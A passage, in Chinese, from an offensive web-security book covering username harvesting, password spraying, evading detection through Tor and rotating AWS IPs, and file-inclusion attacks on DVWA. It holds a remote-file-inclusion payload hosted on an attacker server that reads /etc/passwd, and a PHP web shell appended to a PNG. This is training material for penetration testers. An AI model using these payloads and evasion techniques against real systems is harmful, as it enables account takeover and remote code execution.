接下来,我们可以使用之前建立的格式化规则输出潜在的用户名。通过 print 语句以及 first 和 last 变量的组合,我们可以轻松地将它们显示在屏幕上:
print first + "." + last **# david.lightman**
print first + last **# davidlightman**
最后,我们还将打印出名字首字母和姓氏的组合,以及每个员工姓名的八个字符以内的版本:
fl = first[0] + last
lf = last + first[0]
print fl **# dlightman**
print lf **# lightmand**
print fl[:8] **# dlightma**
print fl[:7] + "2" **# dlightm2**
print fl[:7] + "3" **# dlightm2**
print lf[:8] **# davidlig**
print lf[:7] + "2" **# davidli2**
print lf[:7] + "3" **# davidli3**
我们将把生成的脚本保存在一个名为 name2account.py 的文件中,文件内容如下所示:
with open("**linkedin.txt**", "r") as fp:
for name in iter(fp):
**first**, **last** = name.strip().lower().split(" ")
print first + "." + last **# david.lightman**
print first + last **# davidlightman**
fl = first[0] + last
lf = last + first[0]
print fl **# dlightman**
print lf **# lightmand**
print fl[:8] **# dlightma**
print fl[:7] + "2" **# dlightm2**
print fl[:7] + "3" **# dlightm2**
print lf[:8] **# davidlig**
print lf[:7] + "2" **# davidli2**
print lf[:7] + "3" **# davidli3**
剩下的就是运行脚本并观察输出,如下图所示:

图 4.2:运行账户名生成器
要在攻击中使用这些输出,我们可以将其重定向到另一个文本文件中,稍后可以通过以下命令在 Burp 或 ZAP 中导入:
**root@kali:~/tools# python name2account.py > target**
**_accounts.txt**
元数据
通过分析我们的用户列表,也可以收集有效的用户名,方法是查看互联网上已经公开的信息。公开索引的文档是获取用户 ID 的一个好来源,因为它们通常在内容中或文件头中包含有价值的元数据。当文档是由公司员工创建时,Microsoft Office、Adobe PDF 以及许多其他类型的文档编写软件默认会将当前登录用户的姓名作为文件的作者保存在元数据中。这些文档不一定是绝密的;它们可以是传单和营销材料。它们可能是旨在与公众共享的公开数据,我们可以利用自动填充的元数据来进行密码喷洒攻击。
指纹识别组织及收集的档案(FOCA)是 ElevenPaths 提供的一个非常棒的工具,它可以爬取搜索引擎结果中的索引文档,例如 PDF、Excel 或 Word 文件。这些文件通常在元数据中存储有价值的信息;通常是负责编写文件的 AD ID。
这可能不总是域名用户名(它可能是电子邮件地址),但在我们构建目标账户列表时,这仍然是非常有价值的信息。
使用 FOCA,我们可以快速搜索我们目标的所有公开可用文档,并一键分析它们的元数据。
你会注意到查询与我们之前使用的 LinkedIn 数据抓取非常相似。这是因为 FOCA 在后台使用了搜索引擎黑客技术,不仅利用 Google,还利用 Bing 和其他信息目录。
在以下示例中,我们正在寻找来自 vancouver.ca 的公开可用文档,并分析它们的元数据。FOCA 将下载每个 PDF,解析头部,并将其找到的任何用户信息存储在元数据摘要的左侧栏中。

图 4.3:FOCA 显示公开索引的文档
这些有价值的用户名数据可以导出到文件中,用于密码喷洒攻击。我们不仅能在这些公开文档中找到有效的账户,而且它们还暗示了公司如何结构化其用户名。我们可以将这些知识与 LinkedIn 数据抓取结合,构建更好的目标账户列表,同时最小化身份验证失败的可能性。
注意
FOCA 可以从 ElevenPaths 官网下载:www.elevenpaths.com/labstools/foca/index.html,或者在 GitHub 上找到:github.com/ElevenPaths/FOCA。
集群炸弹
为了进行密码喷洒攻击,我们需要一种简单的方式来将目标用户列表和一个小而具体的密码列表提供给目标。我们还希望能够在必要时限制每次尝试的速度,以避免被发现。
Burp Suite 的 Intruder 模块有多种有效载荷投递选项,其中包括集群炸弹攻击类型,允许我们指定 HTTP 请求中的多个位置,在这些位置插入有效载荷。Intruder 将针对每个可能的组合提交请求,这非常适合进行密码喷洒攻击。
密码列表会更加专注,我们不会将庞大的 rockyou.txt 字典一次性应用到所有用户名,而是会组合出一个较短的、使用频率更高的密码列表。
当用户忘记密码时,他们会联系技术支持并请求重置密码。通常,技术支持不会进行复杂的重置程序,而是将密码重置为一个简单易记的密码,以便员工能够快速登录并恢复工作。一个常见的密码方案是 [当前季节][当前年份]。像 Fall2017 这样的密码易于通过电话传达,并且能够满足大多数密码复杂性政策。有时,可能还会加入一些特殊字符:Fall@2017 或 Fall2017!。
如果用户在登录后立即重置密码,这其实不是问题。AD 有一个技术支持选项,要求用户在第一次成功登录后更改密码。不幸的是,旧系统和复杂的认证方案并不总是支持首次登录时重置密码,这迫使组织要求用户手动操作。虽然大多数用户会立即重置密码,但也有一些用户不会,而我们通常只需要一个用户犯错。
一个可能的密码尝试列表如下所示:
-
Fall2017 -
Fall17 -
Fall2017! -
Fall@2017 -
Summer2017 -
Summer17 -
Summer2017! -
Summer@2017 -
Spring2017 -
Spring17 -
Spring2017! -
Spring@2017
我们在构建这个列表时也可以更加智能。如果我们知道应用程序的密码要求,我们可以选择排除那些不符合要求的密码。也许目标公司总部位于一个“秋季”一词使用频率高于fall的地区,那么我们就可以相应地进行调整。
考虑账户锁定也是很重要的。我们的入侵者攻击会根据密码列表中的密码数量为每个用户生成相同数量的身份验证请求,这意味着我们可能会锁定账户。集群炸弹入侵者攻击类型会尝试列表中的第一个密码针对每个用户名,直到到达末尾,然后重新从顶部开始。接着,它会尝试列表中的第二个密码,再是第三个,以此类推,直到密码列表用完。如果我们不限制每个用户名的请求次数,可能会导致账户被锁定,并且会引起防御者的警觉。
一旦我们有了密码和用户名列表,我们就可以通过利用入侵者模块开始密码喷洒攻击。为了这个场景,我们将攻击目标定为target.org.local上的应用程序,端口为80,如下图所示:

图 4.4:在入侵者中指定攻击目标
我们发送的请求将是一个POST请求,目标为/login页面。我们可以在入侵者的Positions选项卡下指定请求体和负载位置。高亮显示username和password的虚拟值后,我们可以点击右侧的Add按钮以表示负载位置,如下图所示:

图 4.5:定义负载位置
我们还选择了前面提到的集群炸弹攻击类型。
接下来,我们需要加载我们的负载,具体来说,就是之前编制的用户名和密码列表。负载集 1 将是我们的用户名列表,如下图所示:

图 4.6:将用户名加载到负载集 1 中
我们的第二组有效载荷将是每个用户名要测试的密码。再次强调,这不是我们加载 rockyou.txt 并让它全力攻击的地方。在密码喷洒攻击中,我们针对一大批已知的有效用户 ID,并只使用少数几个非常常见的密码。我们希望避免被锁定并触发警报。
下图展示了一个小型有效载荷集 2 的示例:

图 4.7:将密码加载到有效载荷集 2 中
上述配置将对每个用户进行四次密码猜测尝试,希望能够将攻击保持在雷达下,避免任何账户锁定。我们能对更多用户进行攻击,就越有可能找到一个忘记更改密码的用户。
Burp Suite Professional 提供了一些选项,可以执行低速攻击,这些选项可以在选项标签中设置。虽然 Burp Suite 的免费版不允许多线程或限速,但 OWASP ZAP 提供了类似的攻击类型,并且能够限速和增加线程数。
在加载了我们的目标用户列表并指定了几个密码后,我们可以通过点击开始攻击来对应用程序进行喷洒攻击。下图展示了入侵者攻击窗口及密码喷洒攻击过程中所发出的所有请求:

图 4.8:密码喷洒攻击正在进行
经过七个代理
现在,越来越多的成熟公司开始实施 IDS(入侵检测系统)、IPS(入侵防御系统)和SIEM(安全信息与事件管理),并设置警报,以便在检测到某个应用程序受到滥用时进行响应。当一个未知 IP 在短时间内对受保护的应用程序进行过多操作时,IDS 或 IPS 可能会对源头采取行动。如果我们正在进行密码喷洒攻击,我们可能避免了账户锁定,但我们仍然从一个来源——我们的机器——对服务器进行大量攻击。
避免这些类型检测系统的一种有效方法是通过许多 IP 分发攻击者机器的连接请求,这通常是恶意行为者通过受损主机的网络完成的。随着云计算的兴起,计算时间变得越来越便宜,甚至在某些情况下是免费的,我们不必违反法律去建立一个僵尸网络。Tor 网络也是在攻击过程中改变公共 IP 的一种免费且有效的方式。
Torify
Tor 项目的创建目的是为用户提供匿名浏览互联网的方式。它至今仍是匿名化流量的最佳方式,最棒的是,它是免费的。Tor 是一个由独立操作的节点组成的网络,这些节点互相连接形成一个网络,通过该网络可以路由数据包。
下图展示了一个用户 Alice 如何通过 Tor 网络连接到 Bob,并通过随机生成的路径或电路进行连接:

图 4.9:Tor 网络流量流向(来源: https://www.torproject.org/)
客户端连接从 Alice 到 Bob 的方式不是直接连接目标,而是通过 Tor 网络中随机选择的一组节点进行路由。每个数据包都会被加密,每个节点只能解密足够的信息以将数据包路由到路径中的下一个节点。出口节点是链条中的最后一个节点,它将代表客户端与目标建立连接。当数据包到达 Bob 的机器时,请求将看起来像是来自出口节点,而不是 Alice 的公共 IP。
注意
更多关于 Tor 的信息可以在官方网站找到:www.torproject.org。
虽然 Tor 对于匿名性非常重要,但我们并不特别关心保持完全的匿名性。然而,我们可以利用随机选择的出口节点在攻击应用程序时掩盖我们的公共 IP。
Tor 软件包可以在大多数 Linux 发行版上找到。在 Kali 上,可以通过包管理器安装。下面代码中显示的apt-get命令将安装 Tor 以及一个有用的应用程序torsocks:
**root@kali:~# apt-get install tor torsocks**
Torsocks 是一个很好的工具,可以“torify”应用程序,甚至提供一个交互式 Shell,自动将所有流量通过一个活动的 Tor 隧道路由。这将允许我们强制那些原生不支持通过 Tor 路由的应用程序使用匿名网络。
注意
Torsocks 可以在 Tor 项目的 Git 仓库中找到:gitweb.torproject.org/torsocks.git。
我们不需要更改 Tor 的默认配置;只需要从 Kali 提示符下启动它,使用tor二进制文件,如下代码块所示:
root@kali:~# **tor**
[notice] Tor 0.3.1.9
[notice] Read configuration file "/etc/tor/torrc".
[notice] Opening Socks listener on 127.0.0.1:9050
[notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.
[notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.
[warn] You are running Tor as root. You don't need to, and you probably shouldn't.
[notice] Bootstrapped 0%: Starting
[notice] Starting with guard context "default"
[notice] Bootstrapped 80%: Connecting to the Tor network
[notice] Bootstrapped 85%: Finishing handshake with first hop
[notice] Bootstrapped 90%: Establishing a Tor circuit
**[notice] Tor has successfully opened a circuit. Looks like client functionality is working.**
[notice] Bootstrapped 100%: Done
一旦 Tor 客户端初始化并选择了一个隧道(电路),一个 SOCKS 代理服务器将在本地主机上启动,监听端口9050。为了强制将我们的攻击流量通过 Tor 网络,并掩盖我们的外部 IP,我们可以配置 Burp Suite,使用新启动的代理来处理所有的外向连接。任何不支持 SOCKS 的程序都可以使用 ProxyChains 或之前安装的 torsocks 工具进行“torify”。
注意
ProxyChains 在所有渗透测试发行版中都可以使用,也可以在proxychains.sourceforge.net/下载。
在 Burp Suite 中,在项目选项标签下,我们可以选择覆盖用户选项,以启用 SOCKS 配置字段。SOCKS 代理和端口的值分别为localhost和9050,并且最好通过代理进行 DNS 查询。

图 4.10:在 Burp 中配置上游 SOCKS 代理
我们可以通过使用 Repeater 模块对ipinfo.io执行一个测试请求,它应该会显示一个随机选择的 Tor 出口节点作为我们的外部 IP。
下图显示了我们对ipinfo.io进行 torify 请求的响应:

图 4.11:Repeater 响应显示 Tor 退出节点作为我们的有效 IP
尽管 Tor 客户端会定期刷新电路,但它可能不足以应对暴力破解攻击,在这种攻击中需要不断变化的 IP 以实现规避。我们不希望将连接的限制设置得过低,以至于扫描在结束前无法完成。
可以通过 进程挂起信号 (SIGHUP) 强制更新 Tor 代理的当前电路。通过使用 killall 或 kill 等 Linux 命令,我们可以向 Tor 应用程序发出一个 HUP 信号,并强制该进程旋转我们的退出节点。
首先,我们可以进入 torsocks shell,拦截所有的 curl 请求,并通过 Tor 网络转发它们。可以使用 --shell 参数调用 torsocks 命令,如下所示:
root@kali:~# torsocks --shell
/usr/bin/torsocks: **New torified shell coming right up...**
root@kali:~#
后续从 torsocks shell 中启动的应用程序的网络请求应该会通过 Tor 转发。为了查看 SIGHUP 信号的作用,我们可以使用 curl 请求访问一个在线服务,该服务返回我们当前的公共 IP,如 ipinfo.io:
root@kali:~# **curl ipinfo.io**
{
**"ip": "46.165.230.5",**
"hostname": "tor-exit.dhalgren.org",
"country": "DE"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "176.10.104.240",**
"hostname": "tor1e1.digitale-gesellschaft.ch",
"country": "CH"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "195.22.126.147",**
"country": "PL"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "104.218.63.74",**
"hostname": "tor-exit.salyut-4.vsif.ca",
"country": "CA"
}
root@kali:~#
每次请求 IP 服务时都会返回一个新的 Tor 退出节点。我们也可以通过在单独的终端中使用 watch 命令粗略地自动发送 HUP 信号。-n 选项指定了执行 killall 命令的频率。在这种情况下,Tor 将每 10 秒发出一次 SIGHUP 信号,从而有效地同时旋转我们的外部 IP:
**root@kali:~# watch -n10 killall -HUP tor**
如果我们的计划是对 c2.spider.ml 应用进行密码喷射攻击,例如,我们可以配置 Burp Suite 使用集群炸弹 Intruder 配置,并配合一个常见用户名和密码的列表。同时,在后台,watch 命令每 10 秒刷新一次 Tor 电路。我们将限制 Burp 的请求频率为每 10 秒一次,这将确保每次密码猜测尝试都来自不同的 IP,从而提高我们的隐蔽性。需要注意的是,Burp 的免费版不支持流量限制。通过使用 OWASP ZAP,同样的功能可以通过后台运行 watch 来循环 Tor 电路实现。
以下图示展示了 watch 命令每 10 秒运行一次 killall 命令,控制 Tor 应用程序,同时 Burp 的 Intruder 模块进行密码猜测攻击:

图 4.12:使用不断变化的退出 IP 进行密码猜测攻击
正如预期的那样,c2.spider.ml 应用服务器日志显示,每隔 10 秒钟就会从一个新的退出节点 IP 发起一次攻击。
以下展示了一个示例 PHP Web 服务器,列出了每个 HTTP 请求、时间和来源 IP:
root@spider-c2-1:/var/www# php -S 0.0.0.0:80
Listening on http://0.0.0.0:80
Press Ctrl-C to quit.
[20:21:23] **163.172.101.137:58806** [200]: /?user=root&password=123456
[20:21:33] **144.217.161.119:58910** [200]: /?user=info&password=123456
[20:21:45] **96.64.149.101:44818** [200]: /?user=guest&password=123456
[20:21:53] **216.218.222.14:16630** [200]: /?user=test&password=123456
[20:22:08] **185.220.101.29:44148** [200]: /?user=admin&password=123456
[...]
[20:24:52] **89.234.157.254:42775** [200]: /?user=test&password=123456789
[20:25:03] **87.118.122.30:42856** [200]: /?user=admin&password=123456789
攻击的低速特性,再加上不断变化的源 IP,使得防御者更难将我们的攻击流量与合法流量区分开。虽然设计有效规则以识别来自多个地区和多个 IP 的暴力破解攻击并非不可能,但在不产生误报的情况下做到这一点相当困难。
通过 Tor 网络发起攻击存在一些问题。其路由协议本质上比直接连接要慢。这是因为 Tor 对每次传输都添加了几层加密,而且每次传输都会通过三个 Tor 节点转发,除此之外还需要进行正常的互联网通信路由。这一过程增强了匿名性,但也显著增加了通信延迟。对于正常的网页浏览来说,这种延迟是可以忍受的,但对于大规模扫描,它可能不是理想的传输方式。
注意
还应注意,Tor 在隐私至关重要的地区被广泛使用。通过 Tor 进行大规模攻击是不被提倡的,因为它可能导致不必要的网络延迟,并可能影响合法用户。低速且缓慢的攻击通常不会造成任何问题。一些红队任务可能需要通过 Tor 网络进行测试,以验证相关的 IDS/IPS 规则是否按预期工作,但在通过这种有限资源的公共媒介发起攻击时,应谨慎行事。
使用 Tor 的另一个问题是出口节点是公开的。防火墙、IDS、IPS,甚至基于主机的控制可以配置为直接阻止来自已知 Tor 节点的任何连接。虽然 Tor 上有合法用户,但它也有被广泛用于非法活动的历史;因此,组织通常认为,因禁止 Tor 连接而惹恼少数潜在客户的风险是可以接受的。
注意
活跃的 Tor 出口节点列表可以在此找到:check.torproject.org/cgi-bin/TorBulkExitList.py。
Proxy cannon
使用 Tor 来多样化我们的攻击 IP 的一个替代方案是直接使用云服务。市面上有无数的 基础设施即服务(IaaS)提供商,每个提供商都有大量的 IP 空间,供虚拟机实例免费使用。虚拟机通常便宜,有时甚至是免费的,所以通过它们路由我们的流量应该是相当经济有效的。
亚马逊、微软和谷歌都提供了易于使用的 API 来自动化虚拟机实例的管理。如果我们能定期生成一个新的虚拟机并分配一个新的外部 IP,我们可以通过它将流量路由到目标应用程序,并隐藏我们的真实来源。这应该会使自动化系统更难检测并警告我们的活动。
这时就需要 ProxyCannon,一个能够与 Amazon AWS API 通信、创建和销毁虚拟机实例、轮换外部 IP 并通过它们路由流量的强大工具。
注意
ProxyCannon 是由 Shellntel 开发的,可以在 GitHub 上找到:github.com/Shellntel/scripts/blob/master/proxyCannon.py。
ProxyCannon 需要 boto,这是一个提供访问 Amazon AWS API 的 Python 库。我们可以使用 Python 的 pip 命令来安装所需的依赖项:
**root@kali:~/tools# pip install -U boto**
**Collecting boto**
**Downloading boto-2.48.0-py2.py3-none-any.whl (1.4MB)**
**[...]**
**Installing collected packages: boto**
**Successfully installed boto-2.48.0**
ProxyCannon 工具现在应该已经准备好使用,通过 -h 选项显示所有可用的选项:
root@kali:~/tools# **python proxyCannon.py -h**
usage: proxyCannon.py [-h] [-id [IMAGE_ID]] [-t [IMAGE_TYPE]]
[--region [REGION]] [-r] [-v] [--name [NAME]]
[-i [INTERFACE]] [-l]
num_of_instances

默认情况下,ProxyCannon 会在 AWS 中创建 t2.nano 虚拟实例,新的账户在有限时间内应该是免费的。它们的资源非常有限,但通常足够用于大多数攻击。如果需要更改实例类型,可以使用 -t 开关。默认区域是 us-east-1,可以通过 --region 开关进行调整。
ProxyCannon 将根据 num_of_instances 参数创建指定数量的实例,并使用 -r 开关定期轮换它们。-l 开关对于跟踪 ProxyCannon 在执行过程中使用的公共 IP 非常有用,这对于报告来说很重要:蓝队可能需要攻击中使用的所有 IP 列表。
为了让工具能够与我们的 AWS 账户进行通信,并自动管理实例,我们必须在 AWS 控制台中创建 API 访问密钥。这个界面相当简单,可以在账户的 安全凭证 页面访问。
访问密钥 ID 和密钥是随机生成的,应当安全存储。一旦任务结束,应从 AWS 控制台删除这些密钥。

图 4.13:生成新的 AWS API 访问密钥
我们可以使用 -r 和 -l 开关启动 ProxyCannon,并指定同时运行 3 个实例。
root@kali:~/tools# python proxyCannon.py -r -l 3
What is the AWS Access Key Id: **d2hhdCBhcmUgeW91IGRvaW5n**
What is the AWS Secret Access Key: **dW5mb3J0dW5hdGVseSB0aGlzIGlzIG5vdCB0aGUgcmVhbCBrZXku**
[...]
在第一次运行时,ProxyCannon 会要求输入这些值,并将它们存储在 ~/.boto 文件中。
root@kali:~/tools# **cat ~/.boto**
[default]
aws_access_key_id = d2hhdCBhcmUgeW91IGRvaW5n
aws_secret_access_key = dW5mb3J0dW5hdGVseSB0aGlzIGlzIG5vdCB0aGUgcmVhbCBrZXku
如你所见,这些信息以明文形式存储,因此请确保这个文件得到妥善保护。亚马逊建议这些密钥应该经常轮换。每次任务开始时,最好为每个任务创建新的密钥,并在不再需要时从 AWS 删除它们。
ProxyCannon 将连接到 Amazon EC2,设置 SSH 密钥,调整安全组,并启动虚拟机实例。这个过程可能需要几分钟才能完成。
[*] Connecting to Amazon's EC2...
[*] Generating ssh keypairs...
[*] Generating Amazon Security Group...
**[~] Starting 3 instances, please give about 4 minutes for them to fully boot**
[====================] 100%
ProxyCannon 将覆盖当前系统的 iptables 配置,以确保所有流量都通过所选实例进行正确路由:
**[*] Provisioning Hosts.....**
**[*] Saving existing iptables state**
**[*] Building new iptables...**
**[*] Done!**
**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++**
**+ Leave this terminal open and start another to run your commands.+**
**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++**
**[~] Press ctrl + c to terminate the script gracefully.**
**[...]**
正如承诺的那样,ProxyCannon 会定期通过 SSH 隧道和修改路由表来轮换我们的有效外部 IP。所有这些操作都是自动进行的,在后台执行,而 Burp Suite 或 ZAP 正在进行密码喷洒攻击。
以下是 ProxyCannon 的定期输出,显示正在轮换的 IP 地址:
[*] Rotating IPs.
[*] Replaced **107.21.177.36** with **34.207.187.254** on tun0
[*] Replaced **34.234.91.233** with **52.91.91.157** on tun1
[*] Replaced **34.202.237.230** with **34.228.167.195** on tun2
[*] Replaced **34.207.187.254** with **34.228.158.208** on tun0
[*] Replaced **52.91.91.157** with **54.198.223.114** on tun1
在 AWS 控制台中,我们可以看到启动的 t2.nano 实例及其公共 IP 地址:

图 4.14:创建的 AWS 实例,用于通过它们路由我们的流量
和之前的 Tor 示例一样,我们可以通过使用 watch 命令重复 curl 请求来测试 ProxyCannon,目标应用是我们的目标。我们不需要像 torsocks 那样进入 shell,因为 ProxyCannon 会修改本地系统路由,帮助我们更改外部 IP 地址。
**root@kali:~# watch -n30 curl http://c2.spider.ml**
在目标应用程序方面,c2.spider.ml 服务器日志显示来自属于 Amazon 地址空间的多个 IP 的连接尝试:
**52.91.91.157** - - [13:01:16] "GET / HTTP/1.1" 200 -
**52.91.91.157** - - [13:01:22] "GET / HTTP/1.1" 200 -
**34.228.158.208** - - [13:01:43] "GET / HTTP/1.1" 200 -
**34.228.158.208** - - [13:01:48] "GET / HTTP/1.1" 200 -
**54.198.223.114** - - [13:06:34] "GET / HTTP/1.1" 200 -
**54.198.223.114** - - [13:06:39] "GET / HTTP/1.1" 200 -
应当注意的是,我们在 Amazon 或任何云服务提供商上轮换 IP 的频率是有下限的。实例启动需要一段时间,IP 地址需要被保留、关联并变得活跃。ProxyCannon 设定了一个硬编码的时间大约为 90 秒,以确保有效 IP 确实发生变化。
总结
在本章中,我们探讨了在进行暴力攻击时保持低调的几种技术。低调缓慢的攻击,结合频繁更换 IP 地址,是猜测密码或寻找有趣 URL 的一种有效方式。如果我们能够将这一策略与密码喷洒攻击结合起来,我们可以在避免入侵检测、预防系统和防火墙的同时,提高成功的几率。我们还研究了从 LinkedIn 和 Google 中抓取元数据,以建立有效的用户和密码列表。
这些偏离常规暴力攻击的策略使得攻击难以防御,要求蓝队有合适的告警设置,低误报率,并且坦率地说,必须投入大量资源来监控检测系统。作为攻击者,我们知道蓝队通常会被过度分配资源,无法启用那些会产生大量误报但也能捕捉到我们攻击的规则。一般来说,除非目标组织有一个非常成熟且资金充足的安全计划,否则这些类型的攻击很容易实施并且经常成功。
在下一章中,我们将深入探讨如何利用应用程序处理来自不受信任来源的文件和文件路径中的漏洞。
第五章 文件包含攻击
在前几章中,我们了解了如何设置我们的环境并熟悉我们的工具。我们甚至讨论了通过寻找低风险漏洞来攻击应用程序。秉承同样的精神,在本章中,我们将分析文件包含和文件上传攻击。虽然这些类型的攻击并不复杂,但它们仍然很常见。文件包含漏洞似乎已经存在很久了,而且看起来短时间内不会消失。本地文件包含(LFI)和远程文件包含(RFI)漏洞并不是唯一可以利用应用程序并使其受到攻击的方式。即使开发人员已经限制了可上传的服务器端可执行代码,文件上传漏洞仍然可以被滥用,正如我们稍后在本章中将看到的那样。仍然有相当多的应用程序容易受到 LFI、文件上传滥用,甚至有时是 RFI 的攻击。
本章将涵盖以下主题:
-
RFI
-
LFI
-
文件上传滥用
-
链接漏洞以实现代码执行
如果你曾在企业界工作过,肯定会发现这些问题发生的频率是多么的高。定制的内部应用程序通常是以截止日期为导向开发的,而不是考虑安全性。企业级 web 应用程序并不是唯一的问题:物联网(IoT)的噩梦才刚刚开始蔓延。大多数价格实惠的设备,比如 Wi-Fi 路由器或互联网连接的毛绒玩具,都设计得很差,一旦发布就再也不会更新。由于许多约束因素,包括财务限制和硬件局限性,设备的安全性非常基础,甚至根本没有。物联网设备是 2000 年代的 PHP 应用程序,而我们曾认为消失的漏洞正在卷土重来,带着强烈的报复性。
为了说明这些问题,我们将使用Damn Vulnerable Web App(DVWA)项目。这个特别的应用程序是为了展示在实际环境中常见的最流行的 web 漏洞而构建的。从命令注入到 XSS,所有这些都可以在三个难度级别(低、中、高)上进行测试。
注
DVWA 可以以多种格式下载,包括一个易于运行的 Live CD,网址为www.dvwa.co.uk/。
为了简化,我们的 DVWA 实例将通过dvwa.app.internal进行访问。
RFI
尽管在现代应用程序中不那么常见,但 RFI 漏洞仍然会时不时地出现。RFI 在早期的 Web 和 PHP 中非常流行。PHP 因允许开发者实现一些本质上危险的功能而臭名昭著。include() 和 require() 函数本质上允许从其他文件中包含代码,这些文件可以位于同一磁盘上,也可以通过网络加载。这使得 Web 应用程序更强大、更动态,但也付出了巨大的代价。正如你所想的那样,允许未经清理的用户数据传递给 include() 函数,可能导致应用程序或服务器被攻陷。
允许将远程文件包含到服务器端代码中的危险性是显而易见的。PHP 会下载远程文本并将其解释为代码。如果远程 URL 被攻击者控制,他们可以轻松地将 shell 代码传递给应用程序。
在以下示例中,RFI 漏洞可以通过一个简单的 system() 透传 shell 来利用。在攻击者控制的 c2.spider.ml 服务器上,提供了一个包含 shellcode 的纯文本文件:
root@kali:~# curl http://c2.spider.ml/test.txt
**<?php system('cat /etc/passwd'); ?>**
root@kali:~#
DVWA 应用程序在以下 URL 中存在 RFI 漏洞:
http://dvwa.app.internal/vulnerabilities/fi/
攻击者可以使用 page GET 参数指定一个任意页面进行包含,示例如下:
http://dvwa.app.internal/vulnerabilities/fi/?page=about.php
由于 page 参数没有进行适当的输入清理,攻击者可以指定任何他们希望服务器加载和显示的文件,包括托管在其他地方的远程文件。然后,攻击者可以指示易受攻击的应用程序 dvwa.app.internal 包含该远程文件,该文件将作为 PHP 代码进行处理,实质上导致代码执行。
我们可以将攻击者控制的完整 URL http://c2.spider.ml/test.txt 指定为要包含的页面,如下所示:
http://dvwa.app.internal/vulnerabilities/fi/?page=http://c2.spider.ml/test.txt

图 5.1:应用程序包含远程托管的 PHP 代码,执行它,并返回 /etc/passwd 的内容
如前所述,RFI 漏洞在现代应用程序中较少见,但由于 IoT 设备使用过时的库和包,它们正在卷土重来。
允许 include() 从网络获取代码有其合理的原因。某些应用程序可能围绕这一特性进行架构设计,迁移出去可能成本过高。从企业角度来看,可能更便宜的是保持现有架构不变,仅通过打补丁添加控制措施,并希望通过白名单或黑名单的方法来清理输入。
基于白名单的控制是理想选择,但在动态的生产环境中维护起来也较为困难。如果域名和 IP 经常变动(比如 CDN 和云基础设施),更新白名单以匹配可能会消耗大量资源。应用程序的关键性可能要求零停机时间;因此,解决方案应该是自动化的。然而,没有引入安全漏洞的情况下实现这一点可能是非常困难的。
也可以选择黑名单方法,尽管无法知道所有当前和未来的攻击输入。通常不推荐使用黑名单,因为攻击者可以利用足够的时间反向工程黑名单并绕过它。然而,某些情况下由于缺乏资源或时间,仍然会实现黑名单。如果审计结果要求对特定应用组件实施安全控制,但没有具体说明如何执行,可能通过实施黑名单可以更快地获得合规检查标记。
限制 RFI 的控制措施可以在网络层面实现。应用程序的出口流量会被严格审查,仅允许连接到已知服务器,从而防止攻击者从 C2 服务器包含代码。理论上,这是一个有效的控制方法。它是一个白名单方法,并且不需要重新设计应用程序的工作流程。开发人员可以向网络安全工程师提供一个应当可以访问的域名列表,其他所有连接应当被拒绝。
LFI
LFI 漏洞依然十分严重,且可能不会很快消失。应用程序能够从磁盘上的其他文件拉取代码通常是有用的。这使得应用更加模块化并且更易于维护。问题出现在通过 include 指令传递的字符串在应用的多个部分被拼接,并且可能包含由不可信用户提供的数据。
文件上传与文件包含的组合可能会带来灾难。如果我们上传一个 PHP shell 并将其存储在 Web 目录外的某个位置,则 LFI 漏洞可能会提取并执行该代码。
DVWA 可以用来展示这种攻击类型。high 难度设置禁止上传除 JPEG 或 PNG 文件以外的任何文件,因此我们不能直接访问上传的 shell 并执行代码。
为了解决这个问题,我们可以使用 ImageMagick 的 convert 命令生成一个假的 PNG 文件。我们将创建一个 32×32 像素的小图像,背景为粉色,并使用以下开关将其保存为 shell.png:
**root@kali:~# convert -size 32x32 xc:pink**
**shell.png**
文件数据结构相对简单。PNG 文件头和描述内容的几个字节是通过 convert 命令自动生成的。我们可以使用 hexdump 命令检查这些字节。-C 参数会使输出更加可读:
**root@sol:~# hexdump -C shell.png**
**00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|**
**00000010 00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |...... .....I..|**
**00000020 b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |.....gAMA......a|**
**00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |....cHRM..z&...|**
**00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |...........u0...|**
**00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |'..:....p..Q<...|**
**00000060 06 50 4c 54 45 ff c0 cb ff ff ff 09 44 b5 cd 00 |.PLTE.......D...|**
**00000070 00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 0c |...bKGD...-.....|**
**00000080 49 44 41 54 08 d7 63 60 18 dc 00 00 00 a0 00 01 |IDAT..c'........|**
**00000090 61 25 7d 47 00 00 00 00 49 45 4e 44 ae 42 60 82 |a%}G....IEND.B'.|**
虽然有很多奇怪的数据,但它们都能构成一个正常的 PNG 图像。事实上,我们还可以在文件末尾添加任意字节,大多数图像查看器都不会有问题来渲染该文件。我们可以利用这个知识通过 LFI 漏洞将一些 PHP 代码嵌入文件中,以便稍后由服务器执行。
首先,我们需要一个简单的 PHP shell,类似于前面的章节。以下是我们将附加到 PNG 文件中的 PHP 代码:

图 5.2:Web shell 源代码
就像之前一样,if 语句会检查传入的 password 参数的 MD5 哈希值是否匹配 f1aab5cd9690adfa2dde9796b4c5d00d。如果匹配,cmd GET 参数中的命令字符串将传递给 PHP 的 system() 函数,后者会将其作为系统命令执行,从而给我们提供 shell 访问。
我们要找的 MD5 值是 DVWAAppLFI1 的哈希值,正如通过 md5sum Linux 命令确认的那样:
**root@kali:~# echo -n DVWAAppLFI1 | md5sum**
**f1aab5cd9690adfa2dde9796b4c5d00d -**
**root@kali:~#**
我们可以使用 echo shell 命令将 PHP 代码追加(>>)到我们的 shell.png 图片中:
root@kali:~# echo '**<?php if (md5($_GET["password"]) == "f1aab5cd9690adfa2dde9796b4c5d00d") { system($_GET["cmd"]); } ?>**' >> **shell.png**
我们之前见过这种透过的 shell,目前应该可以顺利运行。如果需要,我们可以将其替换为更高级的 shell,但对于我们的概念验证,这已经足够了。
